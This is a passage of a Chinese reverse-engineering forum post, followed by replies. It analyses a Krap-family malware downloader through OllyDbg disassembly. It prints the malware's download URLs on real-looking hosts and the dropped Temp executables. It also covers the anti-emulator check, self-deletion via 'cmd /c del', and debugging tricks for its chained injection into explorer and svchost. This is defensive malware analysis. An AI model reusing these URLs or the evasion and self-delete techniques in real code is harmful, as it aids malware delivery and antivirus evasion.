&#160; &#160; 004013D6&#160; &#160; 8D85 08F6FFFF&#160; &#160;lea eax,dword ptr ss:[ebp-9F8]
&#160; &#160; 004013DC&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004013DD&#160; &#160; 8975 E8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-18],esi
&#160; &#160; 004013E0&#160; &#160; FF15 E8304000&#160; &#160;call dword ptr ds:[<&SHELL32.Shell_Notif>; WININET.InternetOpenA
&#160; &#160; 004013E6&#160; &#160; 395D E4&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp-1C],ebx
&#160; &#160; 004013E9&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013EA&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013EB&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013EC&#160; &#160; 8945 F4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-C],eax
&#160; &#160; 004013EF&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004013F0&#160; &#160; 8D8D 08FEFFFF&#160; &#160;lea ecx,dword ptr ss:[ebp-1F8]
&#160; &#160; 004013F6&#160; &#160; 74 06&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.004013FE
&#160; &#160; 004013F8&#160; &#160; 8D8D 88FEFFFF&#160; &#160;lea ecx,dword ptr ss:[ebp-178]
&#160; &#160; 004013FE&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 004013FF&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401400&#160; &#160; FF15 E4304000&#160; &#160;call dword ptr ds:[<&SHELL32.SHGetFileIn>; WININET.InternetOpenUrlA
&#160; &#160; 00401406&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 00401408&#160; &#160; 8945 08&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp+8],eax
&#160; &#160; 0040140B&#160; &#160; 8D45 E0&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-20]
&#160; &#160; 0040140E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040140F&#160; &#160; 6A 02&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 2
&#160; &#160; 00401411&#160; &#160; FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401414&#160; &#160; FF15 EC304000&#160; &#160;call dword ptr ds:[4030EC]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; WININET.InternetSetOptionA
&#160; &#160; 0040141A&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 0040141C&#160; &#160; 8D45 E0&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-20]
&#160; &#160; 0040141F&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401420&#160; &#160; 6A 06&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 6
&#160; &#160; 00401422&#160; &#160; FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401425&#160; &#160; FF15 EC304000&#160; &#160;call dword ptr ds:[4030EC]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; WININET.InternetSetOptionA
&#160; &#160; 0040142B&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 0040142D&#160; &#160; 8D45 E0&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-20]
&#160; &#160; 00401430&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401431&#160; &#160; 6A 05&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 5
&#160; &#160; 00401433&#160; &#160; FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401436&#160; &#160; FF15 EC304000&#160; &#160;call dword ptr ds:[4030EC]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; WININET.InternetSetOptionA
&#160; &#160; 0040143C&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 0040143D&#160; &#160; 8D45 FC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-4]
&#160; &#160; 00401440&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401441&#160; &#160; 8D45 EC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-14]
&#160; &#160; 00401444&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401445&#160; &#160; 68 05000020&#160; &#160;&#160;&#160;push 20000005
&#160; &#160; 0040144A&#160; &#160; FF75 08&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+8]
&#160; &#160; 0040144D&#160; &#160; 895D EC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-14],ebx
&#160; &#160; 00401450&#160; &#160; C745 FC 0400000>mov dword ptr ss:[ebp-4],4
&#160; &#160; 00401457&#160; &#160; FF15 F0304000&#160; &#160;call dword ptr ds:[<&comdlg32.GetFileTit>; WININET.HttpQueryInfoA
&#160; &#160; 0040145D&#160; &#160; 8B45 EC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-14]
&#160; &#160; 00401460&#160; &#160; 3BC6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp eax,esi
&#160; &#160; 00401462&#160; &#160; 0F86 8C000000&#160; &#160;jbe __krap_.004014F4
&#160; &#160; 00401468&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401469&#160; &#160; 68 80000000&#160; &#160;&#160;&#160;push 80
&#160; &#160; 0040146E&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 00401470&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401471&#160; &#160; 6A 02&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 2
&#160; &#160; 00401473&#160; &#160; 68 00000040&#160; &#160;&#160;&#160;push 40000000
&#160; &#160; 00401478&#160; &#160; 8D85 08FFFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-F8]
&#160; &#160; 0040147E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040147F&#160; &#160; FF15 4C304000&#160; &#160;call dword ptr ds:[40304C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.CreateFileA
&#160; &#160; 00401485&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00401486&#160; &#160; 8945 F0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-10],eax
&#160; &#160; 00401489&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 0040148F&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 00401490&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401491&#160; &#160; 895D FC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-4],ebx
&#160; &#160; 00401494&#160; &#160; E8 0E080000&#160; &#160;&#160;&#160;call __krap_.00401CA7
&#160; &#160; 00401499&#160; &#160; EB 2D&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.004014C8
&#160; &#160; 0040149B&#160; &#160; 3AC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp al,bl
&#160; &#160; 0040149D&#160; &#160; 74 4A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.004014E9
&#160; &#160; 0040149F&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004014A0&#160; &#160; 8D45 DC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-24]
&#160; &#160; 004014A3&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004014A4&#160; &#160; FF75 FC&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-4]
&#160; &#160; 004014A7&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 004014AD&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004014AE&#160; &#160; FF75 F0&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-10]
&#160; &#160; 004014B1&#160; &#160; FF15 48304000&#160; &#160;call dword ptr ds:[403048]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.WriteFile
&#160; &#160; 004014B7&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 004014B8&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 004014BE&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx
&#160; &#160; 004014BF&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004014C0&#160; &#160; E8 E2070000&#160; &#160;&#160;&#160;call __krap_.00401CA7
&#160; &#160; 004014C5&#160; &#160; 895D FC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-4],ebx
&#160; &#160; 004014C8&#160; &#160; 83C4 0C&#160; &#160;&#160; &#160;&#160; &#160;add esp,0C
&#160; &#160; 004014CB&#160; &#160; 8D45 FC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-4]
&#160; &#160; 004014CE&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004014CF&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 004014D0&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 004014D6&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004014D7&#160; &#160; FF75 08&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+8]
&#160; &#160; 004014DA&#160; &#160; 8975 E8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-18],esi
&#160; &#160; 004014DD&#160; &#160; FFD7&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call edi
&#160; &#160; 004014DF&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 004014E1&#160; &#160; 0F95C0&#160; &#160;&#160; &#160;&#160; &#160; setne al
&#160; &#160; 004014E4&#160; &#160; 395D FC&#160; &#160;&#160; &#160;&#160; &#160;cmp dword ptr ss:[ebp-4],ebx
&#160; &#160; 004014E7&#160;&#160;^ 77 B2&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;ja short __krap_.0040149B
&#160; &#160; 004014E9&#160; &#160; FF75 F0&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-10]
&#160; &#160; 004014EC&#160; &#160; FF15 2C304000&#160; &#160;call dword ptr ds:[40302C]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.CloseHandle
&#160; &#160; 004014F2&#160; &#160; EB 13&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401507
&#160; &#160; 004014F4&#160; &#160; 83C0 FE&#160; &#160;&#160; &#160;&#160; &#160;add eax,-2
&#160; &#160; 004014F7&#160; &#160; 3D FE030000&#160; &#160;&#160;&#160;cmp eax,3FE
&#160; &#160; 004014FC&#160; &#160; 77 09&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;ja short __krap_.00401507
&#160; &#160; 004014FE&#160; &#160; 885D FB&#160; &#160;&#160; &#160;&#160; &#160;mov byte ptr ss:[ebp-5],bl
&#160; &#160; 00401501&#160; &#160; EB 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.00401507
&#160; &#160; 00401503&#160; &#160; 3AC3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp al,bl
&#160; &#160; 00401505&#160; &#160; 74 1B&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short __krap_.00401522
&#160; &#160; 00401507&#160; &#160; 8D45 FC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-4]
&#160; &#160; 0040150A&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0040150B&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 0040150C&#160; &#160; 8D85 08FAFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-5F8]
&#160; &#160; 00401512&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00401513&#160; &#160; FF75 08&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp+8]
&#160; &#160; 00401516&#160; &#160; FFD7&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call edi

&#160; &#160; 链接的网络及下载的要运行的病毒包括不限于下面这些
&#160; &#160;
&#160; &#160; 0012E584&#160; &#160;0012E834&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nvdwyuf.exe"
&#160; &#160; 0012E590&#160; &#160;0012E7B4&#160;&#160;ASCII "http://dbcorps.com/ibemh/oovqlsahc.php?adv=adv468"&#160;&#160;
&#160; &#160; 0012E59C&#160; &#160;0012E734&#160;&#160;ASCII "http://cbphase.com/ibemh/oovqlsahc.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012E9B4&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\rrtmxa.exe"
&#160; &#160; 0012E584&#160; &#160;0012EB34&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\hrbnufy.exe"
&#160; &#160; 0012E590&#160; &#160;0012EAB4&#160;&#160;ASCII "http://dbcorps.com/ibemh/rhlgoidbwq.php?adv=adv468"&#160; &#160;
&#160; &#160; 0012E584&#160; &#160;0012ECB4&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\qgrirjoc.exe"
&#160; &#160; 0012E590&#160; &#160;0012EC34&#160;&#160;ASCII "http://dbcorps.com/ibemh/erztbwqyg.php?adv=adv468"&#160;&#160;
&#160; &#160; 0012E584&#160; &#160;0012EE34&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\wsxguopp.exe"
&#160; &#160; 0012E590&#160; &#160;0012EDB4&#160;&#160;ASCII "http://dbcorps.com/ibemh/aaick.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012EFB4&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\edsycb.exe"
&#160; &#160; 0012E590&#160; &#160;0012EF34&#160;&#160;ASCII "http://dbcorps.com/ibemh/xbsnusnvp.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012F134&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nped.exe"&#160;&#160;
&#160; &#160; 0012E59C&#160; &#160;0012F034&#160;&#160;ASCII "http://cbphase.com/ibemh/cfjeyt.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012F2B4&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\njnosbp.exe"&#160;&#160;
&#160; &#160; 0012E59C&#160; &#160;0012F1B4&#160;&#160;ASCII "http://cbphase.com/ibemh/imdysnucxe.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012F434&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\eqyleiv.exe"&#160; &#160;
&#160; &#160; 0012E59C&#160; &#160;0012F334&#160;&#160;ASCII "http://cbphase.com/ibemh/gtbwqys.php?adv=adv468"
&#160; &#160; 0012E584&#160; &#160;0012F5B4&#160;&#160;ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\gbrel.exe"
&#160; &#160; ...

&#160; &#160; 里面还使用了一些绕AVer虚拟机的代码
&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 0014101A&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 0014101C&#160; &#160; 8D45 FC&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-4]
&#160; &#160; 0014101F&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00141020&#160; &#160; 6A 01&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 1
&#160; &#160; 00141022&#160; &#160; E8 37110000&#160; &#160;&#160;&#160;call 0014215E&#160; &#160;&#160; &#160;&#160; &#160; // call ddraw.DirectDrawCreate,没仿真这个就挂了 :(
&#160; &#160; 00141027&#160; &#160; 85C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;test eax,eax
&#160; &#160; 00141029&#160; &#160; 74 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short 0014102F
&#160; &#160; 0014102B&#160; &#160; 33C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor eax,eax
&#160; &#160; 0014102D&#160; &#160; C9&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;leave
&#160; &#160; 0014102E&#160; &#160; C3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;retn
&#160; &#160; 0014102F&#160; &#160; 8B45 FC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-4]
&#160; &#160; 00141032&#160; &#160; 8B08&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax]
&#160; &#160;
&#160; &#160; 在上面这些代码执行完毕后进行自删除。
&#160; &#160;
&#160; &#160; 0014110E&#160; &#160; FF15 24301400&#160; &#160;call dword ptr ds:[143024]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetShortPathNameA
&#160; &#160; 00141114&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 00141115&#160; &#160; 8D85 B8FCFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-348]
&#160; &#160; 0014111B&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0014111C&#160; &#160; 68 20311400&#160; &#160;&#160;&#160;push 143120&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ASCII "COMSPEC"
&#160; &#160; 00141121&#160; &#160; FF15 20301400&#160; &#160;call dword ptr ds:[143020]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetEnvironmentVariableA
&#160; &#160; 00141127&#160; &#160; 68 18311400&#160; &#160;&#160;&#160;push 143118&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ASCII "/c del "&#160; &#160;

&#160; &#160; 0014114D&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi
&#160; &#160; 0014114F&#160; &#160; 68 10311400&#160; &#160;&#160;&#160;push 143110&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; ASCII " > nul"
&#160; &#160; 00141154&#160; &#160; 8D85 BCFDFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-244]
&#160; &#160; 0014115A&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0014115B&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi
&#160; &#160; 0014115D&#160; &#160; 8D85 B8FCFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-348]
&#160; &#160;
&#160; &#160; // 启动cmd.exe 删除
&#160; &#160; 00141176&#160; &#160; C745 C4 3C00000>mov dword ptr ss:[ebp-3C],3C
&#160; &#160; 0014117D&#160; &#160; 897D CC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-34],edi
&#160; &#160; 00141180&#160; &#160; C745 D0 0831140>mov dword ptr ss:[ebp-30],143108&#160; &#160;&#160; &#160;&#160; &#160;; ASCII "Open"
&#160; &#160; 00141187&#160; &#160; 897D DC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-24],edi
&#160; &#160; 0014118A&#160; &#160; 897D E0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-20],edi
&#160; &#160; 0014118D&#160; &#160; 8975 C8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-38],esi
&#160; &#160; 00141190&#160; &#160; FF15 D0301400&#160; &#160;call dword ptr ds:[1430D0]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; shell32.ShellExecuteExA




&#160; &#160; 001411A4&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.SetPriorityClass
&#160; &#160; 001411A6&#160; &#160; 68 00010000&#160; &#160;&#160;&#160;push 100
&#160; &#160; 001411AB&#160; &#160; FF15 A8301400&#160; &#160;call dword ptr ds:[1430A8]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetCurrentProcess
&#160; &#160; 001411B1&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 001411B2&#160; &#160; FFD6&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call esi
&#160; &#160; 001411B4&#160; &#160; 6A 0F&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0F
&#160; &#160; 001411B6&#160; &#160; FF15 A4301400&#160; &#160;call dword ptr ds:[1430A4]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.GetCurrentThread
&#160; &#160; 001411BC&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 001411BD&#160; &#160; FF15 AC301400&#160; &#160;call dword ptr ds:[1430AC]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.SetThreadPriority
&#160; &#160; 001411C3&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 001411C4&#160; &#160; 8D85 C0FEFFFF&#160; &#160;lea eax,dword ptr ss:[ebp-140]
&#160; &#160; 001411CA&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 001411CB&#160; &#160; 6A 01&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 1
&#160; &#160; 001411CD&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 001411CF&#160; &#160; FF15 D4301400&#160; &#160;call dword ptr ds:[1430D4]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; shell32.SHChangeNotify&#160; &#160;自删除自身。
&#160; &#160; 001411D5&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160; 001411D6&#160; &#160; FF15 B0301400&#160; &#160;call dword ptr ds:[1430B0]&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; kernel32.ExitProcess
&#160; &#160;
6 .调试中的一些技巧
&#160; &#160;
&#160; &#160; 由于病毒的主程序使用了连续注入的方式,使得分析并不是十分容易。我们需要分析被注入的
explorer和在explorer中分析要被注入svchost.直接分析explorer会很不方便,explorer挂起后,
很多操作的都失去了响应。

&#160; &#160; 这里的一个办法是修改注入时的进程名,比如放一个替罪羊程序过去改名叫expl0rer,这样就容
易调试了,同理,在expl0rer注入时,放同样替罪羊程序改名叫svch0st.exe即可。

&#160; &#160; 由于svch0st.exe是被挂起的方式创建的,此时0llydbg不方便attach上去调试。这里可以先要找
到那块注入的在svch0st.exe代码开始位置,用icesword,修改内存,把开头的指令修改为一个死循环。
&#160; &#160;
&#160; &#160; 比如一个函数的开头是这个
&#160; &#160;
&#160; &#160; 00401097 >&#160;&#160;55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp
&#160; &#160; 00401098&#160; &#160; 8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 修改为
&#160; &#160; 00401097 >- E2 FE&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;loopd short __krap_.<00401097>
&#160; &#160; 00401099&#160; &#160; 90&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;nop
&#160; &#160;
&#160; &#160; 当expl0rer.exe 调用ResumeThread后,再去用OllyDbg attach即可。
&#160; &#160;
&#160; &#160; 下面总结了一些分析时比较有用的断点,依次下断点即可

&#160; &#160; 病毒主程序中,
&#160; &#160; 4011DF(第一次解密完成) 009226AC(内存中解密完毕)&#160;&#160;0040807E(二次解密)
&#160; &#160; 00402114(此时可修改explorer为expl0rer)&#160;&#160;
&#160; &#160; 00401E7D (计算注入点函数入口偏移,调用CreateRemoteThread,此时可去expl0rer.exe中设置断点)
&#160; &#160;
&#160; &#160; expl0rer 中断点,由于映射的基址不同,所以??的地方是每个机器中的具体地址,比如我映射的是BE0000这个基址
&#160; &#160; 那么断点就是00BE1F3C,和00BE1E80
&#160; &#160;
&#160; &#160; 00??1f3c&#160;&#160;(此时可修改svchost为svch0st)
&#160; &#160; 00??1e80&#160;&#160;(此时可计算出注入svch0st中的代码地址,用来下断点)
&#160; &#160;
&#160; &#160; svch0st中的直接分析即可了。
&#160; &#160;
&#160; &#160; 以上就是关于Krap家族的解密方式及ao变种,download下来的东西就不分析了太多了:)。


样本: kra_b4703830c36f9b4d5b5be6269b827842.rar (12.02 KB, 下载次数: 21)

//----------------------------------------------------------------------------------------------------------~~~

免费评分

参与人数 1威望 +1 收起 理由
是昔流芳 + 1 精品文章!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2010-11-2 10:17
NeiNei牛来发帖了,强烈学习!
淡淡香草味 发表于 2010-11-2 10:25
evilphantom 发表于 2010-11-2 10:27
wgz001 发表于 2010-11-2 10:31
膜拜后学习
我的时光 发表于 2010-11-2 10:58
先膜拜再mark后学习
oo789458 发表于 2010-11-2 12:16
牛人啊   佩服
toolpc 发表于 2010-11-3 00:54
好长..得慢慢看了
cv900302 发表于 2010-11-6 14:15
学习了
consult1026913 发表于 2010-11-9 07:56
很强大,学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表